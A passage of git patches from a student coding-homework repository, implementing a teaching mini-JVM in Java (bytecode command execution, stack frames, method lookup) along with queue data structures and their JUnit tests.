+				&& methodRefInfo.getMethodName().equals("<init>")){
+			return ;
+			
+		}
+		Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+				
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		result.setNextMethod(nextMethod);
+						
 	}
-
+	
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
index 40a668437e..80071ef1c5 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -1,9 +1,12 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.MethodArea;
 import com.coderising.jvm.engine.StackFrame;
+import com.coderising.jvm.method.Method;
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
 
@@ -12,15 +15,69 @@ public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsMethod(pool);
+		return super.getOperandAsMethod();
 	}
 
+	private boolean isSystemOutPrintlnMethod(String className, String methodName){
+		return "java/io/PrintStream".equals(className) 
+				&& "println".equals(methodName);
+	}
 	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		//先得到对该方法的描述
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		String className = methodRefInfo.getClassName();
+		String methodName = methodRefInfo.getMethodName();
+		
+		// 我们没有实现System.out.println方法，  所以也不用建立新的栈帧， 直接调用Java的方法， 打印出来即可。 
+		if(isSystemOutPrintlnMethod(className,methodName)){
+			JavaObject jo = (JavaObject)frame.getOprandStack().pop();
+			String value = jo.toString();
+			System.err.println("-------------------"+value+"----------------");
+			
+			// 这里就是那个out对象， 因为是个假的，直接pop出来
+			frame.getOprandStack().pop();
+			
+			return;
+		}
+		
+		//注意：多态， 这才是真正的对象, 先从该对象的class 中去找对应的方法，找不到的话再去找父类的方法
+		JavaObject jo = frame.getOprandStack().peek();
+		
+		MethodArea ma = MethodArea.getInstance();
+		
+		Method m = null;
+		
+		String currentClassName = jo.getClassName();
+		
+		while(currentClassName != null){
+			
+			ClassFile currentClassFile = ma.findClassFile(currentClassName);
+			
+			m = currentClassFile.getMethod(methodRefInfo.getMethodName(), 
+					methodRefInfo.getParamAndReturnType());
+			if(m != null){
+				
+				break;
+				
+			} else{
+				//查找父类
+				currentClassName = currentClassFile.getSuperClassName();
+			}
+		}	
+		
+		if(m == null){
+			throw new RuntimeException("Can't find method for :" + methodRefInfo.toString());
+		}
+		
 		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
 		
+		result.setNextMethod(m);
 	}
 	
 
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
index f6d22350a7..5d1985868a 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -5,6 +5,8 @@
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
@@ -14,9 +16,9 @@ public LdcCmd(ClassFile clzFile,String opCode) {
 	}
 	
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		ConstantInfo info = getConstantInfo(this.getOperand());
 		
 		String value = "TBD";
 		if(info instanceof StringInfo){
@@ -27,9 +29,21 @@ public String toString(ConstantPool pool) {
 		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
 		
 	}
-	
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
+	public void  execute(StackFrame frame,ExecutionResult result){
+		
+		ConstantPool pool = this.getConstantPool();
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			String value = strInfo.toString();
+			JavaObject jo = Heap.getInstance().newString(value);
+			frame.getOprandStack().push(jo);
+		}
+		else{
+			//TBD 处理其他类型
+			throw new RuntimeException("Only support StringInfo constant");
+		}
 		
 		
 	}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
index ace90a27cd..f675956919 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -1,8 +1,10 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class NewObjectCmd extends TwoOperandCmd{
@@ -12,15 +14,22 @@ public NewObjectCmd(ClassFile clzFile, String opCode){
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsClassInfo(pool);
+		return super.getOperandAsClassInfo();
 	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
+	public void execute(StackFrame frame,ExecutionResult result){
 		
+		int index = this.getIndex();
 		
-	}
-	
+		ClassInfo info = (ClassInfo)this.getConstantInfo(index);
+		
+		String clzName = info.getClassName();
+		
+		//在Java堆上创建一个实例
+		JavaObject jo = Heap.getInstance().newObject(clzName);
+		
+		frame.getOprandStack().push(jo);
+						
+	}	
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
index 662f5cf5ca..d5c7b87481 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -1,8 +1,9 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class NoOperandCmd extends ByteCodeCommand{
@@ -12,19 +13,133 @@ public NoOperandCmd(ClassFile clzFile, String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
 	}
 
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		String opCode = this.getOpCode();
+		
+		if(ByteCodeCommand.aload_0.equals(opCode)){
+		
+			JavaObject jo = frame.getLocalVariableValue(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if(ByteCodeCommand.iload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if (ByteCodeCommand.iload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}  else if (ByteCodeCommand.iload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if (ByteCodeCommand.fload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}
+		else if (ByteCodeCommand.voidreturn.equals(opCode)){
+			
+			result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+			
+		} else if(ByteCodeCommand.ireturn.equals(opCode)){
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.freturn.equals(opCode)){
+			
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+		}
+		
+		else if(ByteCodeCommand.astore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+		    frame.setLocalVariableValue(1, jo);
+		    
+		} else if(ByteCodeCommand.dup.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().peek();
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_0.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_1.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.istore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(1, jo);
+			
+		}  else if(ByteCodeCommand.istore_2.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(2, jo);
+			
+		} else if(ByteCodeCommand.iadd.equals(opCode)){
+			
+			JavaObject jo1 = frame.getOprandStack().pop();
+			JavaObject jo2 = frame.getOprandStack().pop();
+			
+			JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue()+jo2.getIntValue());
+			
+			frame.getOprandStack().push(sum);
+			
+		} else if (ByteCodeCommand.aconst_null.equals(opCode)){
+			
+			frame.getOprandStack().push(null);
+			
+		} 
+		else{
+			throw new RuntimeException("you must forget to implement the operation :" + opCode);
+		}
+		
+		
+	}
 	
 	
 	public  int getLength(){
 		return 1;
 	}
 
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
 }
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
index 6c17b72c46..cd93fba1d1 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -1,8 +1,11 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
@@ -12,15 +15,29 @@ public PutFieldCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsField(pool);
+		return super.getOperandAsField();
 	}
-
 	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
+	public void execute(StackFrame frame,ExecutionResult result) {	
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		
+		ClassInfo clzInfo = (ClassInfo)this.getConstantInfo(fieldRef.getClassInfoIndex());
+		NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo)this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+		// for example : name
+		String fieldName = nameTypeInfo.getName();
+		// for example : Ljava/lang/String : 注意：我们不再检查类型
+		String fieldType = nameTypeInfo.getTypeInfo();
 		
+		JavaObject fieldValue = frame.getOprandStack().pop();
+		JavaObject objectRef = frame.getOprandStack().pop();
+		
+		objectRef.setFieldValue(fieldName, fieldValue);
 		
 	}
 
-}
+
+
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java
index 6cb42d2a83..6f4250f920 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -2,7 +2,6 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.constant.MethodRefInfo;
 
@@ -38,21 +37,22 @@ public int getIndex(){
 		return index;
 	}
 	
-	protected String getOperandAsClassInfo(ConstantPool pool){
+	protected String getOperandAsClassInfo(){
 		int index = getIndex();
 		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		ClassInfo info = (ClassInfo)getConstantInfo(index);
 		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
 	}
 	
-	protected String getOperandAsMethod(ConstantPool pool){
+	protected String getOperandAsMethod(){
 		int index = getIndex();
 		String codeTxt = getReadableCodeText();
+		//ConstantInfo constInfo = this.getConstantInfo(index);
 		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
 		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
 	}
 
-	protected String getOperandAsField(ConstantPool pool){
+	protected String getOperandAsField(){
 		int index = getIndex();
 		
 		String codeTxt = getReadableCodeText();
@@ -62,4 +62,4 @@ protected String getOperandAsField(ConstantPool pool){
 	public  int getLength(){
 		return 3;
 	}
-}
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutorEngine.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutorEngine.java
index dc0030932e..e22bb77838 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutorEngine.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutorEngine.java
@@ -1,5 +1,8 @@
 package com.coderising.jvm.engine;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.method.Method;
 import com.coding.basic.stack.Stack;
 
@@ -13,8 +16,28 @@ public ExecutorEngine() {
 	
 	public void execute(Method mainMethod){
 		
+		//为main函数创建一个栈帧
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		//main函数帧压栈
+		stack.push(mainFrame);
 		
-		
+		while(!stack.isEmpty()){
+			
+			StackFrame frame = stack.peek();
+			ExecutionResult result = frame.execute();
+			
+			//判断执行结果是否暂停或者有新的函数帧生成
+			if(result.isPauseAndRunNewFrame()){
+				
+				Method method = result.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(method);
+				nextFrame.setCallerFrame(frame);
+				setupFunctionCallParams(frame,nextFrame);
+				stack.push(nextFrame);
+			}else{
+				stack.pop();
+			}
+		}
 	}
 	
 	
@@ -22,7 +45,24 @@ public void execute(Method mainMethod){
 	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
 		
 		
+        Method nextMethod = nextFrame.getMethod();				
+		List<String> paramList = nextMethod.getParameterList();
+		
+		//加上1 是因为要把this也传递过去		
+		int paramNum = paramList.size() + 1;				
+		List<JavaObject> values = new ArrayList<JavaObject>();		
+		//数据结构知识：  从栈中取出栈顶的x个元素
+		while(paramNum>0){			
+			values.add(currentFrame.getOprandStack().pop());
+			paramNum --;
+		}
+		//数据结构知识：  把一个列表倒序排列
+		List<JavaObject> params = new ArrayList<JavaObject>();
 		
+		for(int i=values.size()-1; i>=0 ;i--){
+			params.add(values.get(i));
+		}				
+		nextFrame.setLocalVariableTable(params);
 	}
 	
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MethodArea.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MethodArea.java
index 9d21b55787..87b9d425f8 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MethodArea.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MethodArea.java
@@ -32,7 +32,7 @@ public void setClassFileLoader(ClassFileLoader clzLoader){
 		this.clzLoader = clzLoader;
 	}
 	
-	public Method getMainMethod(String className) throws NotAClassFileException{
+	public Method getMainMethod(String className){
 		
 		ClassFile clzFile = this.findClassFile(className);
 		
@@ -40,30 +40,55 @@ public Method getMainMethod(String className) throws NotAClassFileException{
 	}
 	
 	
-	public  ClassFile findClassFile(String className) throws NotAClassFileException{
+	public  ClassFile findClassFile(String className){
 		
-		if(map.get(className) != null){
-			return map.get(className);
+		ClassFile clzFile = null;
+		try {
+			if(map.get(className) != null){
+				return map.get(className);
+			}
+			// 看来该class 文件还没有load过
+			clzFile = this.clzLoader.loadClass(className);
+			
+			map.put(className, clzFile);
+			
+			
+		} catch (NotAClassFileException e) {
+			e.printStackTrace();
 		}
-		// 看来该class 文件还没有load过
-		ClassFile clzFile = this.clzLoader.loadClass(className);
-		
-		map.put(className, clzFile);
-		
 		return clzFile;
-		
 	}
 	
 	
 	public Method getMethod(String className, String methodName, String paramAndReturnType){
 		
-		return null;
+		ClassFile clz = this.findClassFile(className);
+		
+		Method m = clz.getMethod(methodName, paramAndReturnType);
+		
+		if(m == null){
+			
+			throw new RuntimeException("method can't be found : \n" 
+					+ "class: " + className
+					+ "method: " + methodName
+					+ "paramAndReturnType: " + paramAndReturnType);
+		}
+		
+		return m;
 	}
 	
 	
 	public Method getMethod(MethodRefInfo methodRef){		
 		
-		return null;
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+		
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+		
+		if(m == null){
+			throw new RuntimeException("method can't be found : " + methodRef.toString());
+		}
+		
+		return m;
 			
 	}
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MiniJVM.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MiniJVM.java
index 7e933213cb..9d255d7ea6 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MiniJVM.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MiniJVM.java
@@ -26,4 +26,16 @@ public void run(String[]classPaths , String className) throws FileNotFoundExcept
 		engine.execute(methodArea.getMainMethod(className));
 	}
 	
+	public static void main(String[] args) {
+		
+		try {
+			MiniJVM jvm = new MiniJVM();
+			String[] classPaths = {"E:\\githubRepository\\coding2017\\group12\\2258659044\\zj-2017\\bin"};
+			String clzName = "test.com.coderising.jvm.EmployeeV1";
+			
+			jvm.run(classPaths, clzName);
+		} catch (IOException | NotAClassFileException e) {
+			e.printStackTrace();
+		}
+	}
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/StackFrame.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/StackFrame.java
index 77c67f02ad..d985f417ce 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/StackFrame.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/StackFrame.java
@@ -64,8 +64,42 @@ public int getNextCommandIndex(int offset){
 	}
 	
 	public ExecutionResult execute(){
-		return null;
 		
+        ByteCodeCommand [] cmds = m.getCmds();
+		
+		while(cmds.length>index){
+			
+			ExecutionResult result = new ExecutionResult();	
+			//缺省值是执行下一条命令
+			result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+			
+			System.out.println(cmds[index].toString());
+			
+			cmds[index].execute(this,result);
+			
+			if(result.isRunNextCmd()){
+				index++;
+			}
+			else if(result.isExitCurrentFrame()){
+				return result;
+			}
+			else if(result.isPauseAndRunNewFrame()){
+				index++;
+				return result;
+			}					
+			else if(result.isJump()){
+				int offset = result.getNextCmdOffset();
+				this.index = getNextCommandIndex(offset);
+			} else{
+				index++;
+			}
+			
+		}
+		
+		//当前StackFrmae的指令全部执行完毕，可以退出了
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;		
 	}
 
 	
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java
index 245ccdc558..05eb77e802 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java
@@ -7,6 +7,7 @@
 import com.coderising.jvm.attr.CodeAttr;
 import com.coderising.jvm.cmd.ByteCodeCommand;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class Method {
@@ -47,6 +48,66 @@ public ByteCodeCommand[] getCmds() {
 		return null;
 	}
 	
+	private String getParamAndReturnType(){
+		UTF8Info  nameAndTypeInfo = (UTF8Info)pool.getClzFile()
+				.getConstantPool().getConstantInfo(this.getDescriptorIndex());
+		return nameAndTypeInfo.getValue();
+	}
+	
+	public List<String> getParameterList(){
+		
+		// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+		String paramAndType = getParamAndReturnType();
+		
+		int first = paramAndType.indexOf("(");
+		int last = paramAndType.lastIndexOf(")");
+		// e.g. Ljava/util/List;Ljava/lang/String;II
+		String param = paramAndType.substring(first+1, last);		
+		
+		List<String> paramList = new ArrayList<String>();
+		
+		if((null == param) || "".equals(param)){
+			return paramList;
+		}
+		
+		while(!param.equals("")){
+			
+			int pos = 0;
+			// 这是一个对象类型
+			if(param.charAt(pos) == 'L'){
+				
+				int end = param.indexOf(";");
+				
+				if(end == -1){
+					throw new RuntimeException("can't find the ; for a object type");
+				}
+				paramList.add(param.substring(pos+1,end));
+				
+				pos = end + 1; 				
+				
+			} 
+			else if(param.charAt(pos) == 'I'){
+				// int
+				paramList.add("I");
+				pos ++;
+				
+			}
+			else if(param.charAt(pos) == 'F'){
+				// float
+				paramList.add("F");
+				pos ++;
+				
+			} else{
+				throw new RuntimeException("the param has unsupported type:" + param);
+			}
+			
+			param = param.substring(pos);
+			
+		}
+		return paramList;
+		
+	}
+	
 	public int getAccessFlag() {
 		return accessFlag;
 	}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group12/2258659044/zj-2017/src/com/coding/basic/queue/QueueWithTwoStacks.java
index 7b1527e7b9..c844a2e1ca 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/queue/QueueWithTwoStacks.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -3,6 +3,7 @@
 import com.coding.basic.stack.Stack;
 
 public class QueueWithTwoStacks<E> {
+	
 	private Stack<E> stack1;    
     private Stack<E> stack2;    
 
@@ -11,28 +12,37 @@ public QueueWithTwoStacks() {
         stack1 = new Stack<E>();
         stack2 = new Stack<E>();
     }
-
-   
-    
-
+     
     public boolean isEmpty() {
-        return false;
+        return (stack1.isEmpty()&&stack2.isEmpty());
     }
 
 
     
     public int size() {
-        return -1;   
+        return (stack1.size()+stack2.size());   
     }
 
-
-
     public void enQueue(E item) {
-        
+            	
+    	if(item!=null){
+    		
+    		while(!stack2.isEmpty()){
+        		stack1.push(stack2.pop());
+        	}
+    		stack1.push(item);
+    	}   	
     }
 
     public E deQueue() {
-        return null;
+    	
+    	if(isEmpty()){
+    		return null;
+    	}
+    	while(!stack1.isEmpty()){
+    		stack2.push(stack1.pop());
+    	}
+    	return stack2.pop();
     }
 
 
diff --git a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java
index 2a18bee6d7..d6c9284201 100644
--- a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java
@@ -28,8 +28,8 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "test/com/coderising/jvm/EmployeeV1";
 	
-	static String path1 = "F:\\githubRes\\coding2017\\group12\\2258659044\\zj-2017\\bin";
-	//static String path1 = "E:\\githubRepository\\coding2017\\group12\\2258659044\\zj-2017\\bin";
+	//static String path1 = "F:\\githubRes\\coding2017\\group12\\2258659044\\zj-2017\\bin";
+	static String path1 = "E:\\githubRepository\\coding2017\\group12\\2258659044\\zj-2017\\bin";
 	static String path2 = "C:\temp";
 	
 	
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/QueueWithTwoStacksTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..07e277912f
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/QueueWithTwoStacksTest.java
@@ -0,0 +1,72 @@
+package test.com.coding.basic.queue;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.queue.QueueWithTwoStacks;
+
+public class QueueWithTwoStacksTest {
+
+	private QueueWithTwoStacks<Object> queue;
+	
+	@Before
+	public void setUp() throws Exception {
+		queue = new QueueWithTwoStacks<>();
+	}
+
+	@Test
+	public void testIsEmpty() {
+		
+		Assert.assertEquals(true, queue.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		
+		Assert.assertEquals(0, queue.size());
+		
+		queue.enQueue("zj");
+		Assert.assertEquals(1, queue.size());
+		
+		for (int i = 0; i < 10; i++) {
+			queue.enQueue(i);
+		}
+		Assert.assertEquals(11, queue.size());
+		
+		for (int i = 0; i < 5; i++) {
+			queue.deQueue();
+		}
+		Assert.assertEquals(6, queue.size());
+	}
+
+	@Test
+	public void testEnQueue() {
+		
+		for (int i = 0; i < 10; i++) {
+			queue.enQueue(i);
+		}
+		
+		for (int i = 0; i < 10; i++) {
+			Assert.assertEquals(i, queue.deQueue());
+		}
+	}
+
+	@Test
+	public void testDeQueue() {
+		
+		Assert.assertEquals(null, queue.deQueue());
+		
+		for (int i = 0; i < 10; i++) {
+			queue.enQueue(i);
+		}
+		
+		for (int i = 0; i < 5; i++) {
+			queue.deQueue();
+		}
+		Assert.assertEquals(5, queue.size());
+		Assert.assertEquals(false, queue.isEmpty());
+		
+	}
+
+}

From ec55916fbce1b8c33dff2114bcd34206db80a503 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Wed, 26 Apr 2017 15:45:48 +0800
Subject: [PATCH 126/262] =?UTF-8?q?=E9=98=9F=E5=88=97=E7=9B=B8=E5=85=B3?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

队列相关作业
---
 .../com/coding/basic/queue/CircleQueue.java   | 57 +++++++++++++++++
 .../basic/queue/EmptyQueueException.java      | 14 +++++
 .../basic/queue/FullQueueException.java       | 14 +++++
 .../src/com/coding/basic/queue/Josephus.java  | 32 ++++++++++
 .../com/coding/basic/queue/JosephusTest.java  | 28 +++++++++
 .../src/com/coding/basic/queue/Queue.java     | 61 +++++++++++++++++++
 .../basic/queue/QueueWithTwoStacks.java       | 54 ++++++++++++++++
 .../src/me/practise/chapter2.java             | 17 ++++++
 8 files changed, 277 insertions(+)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java

diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..eeed686419
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,57 @@
+package com.coding.basic.queue;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	private int maxSize = DEFAULT_SIZE;
+	
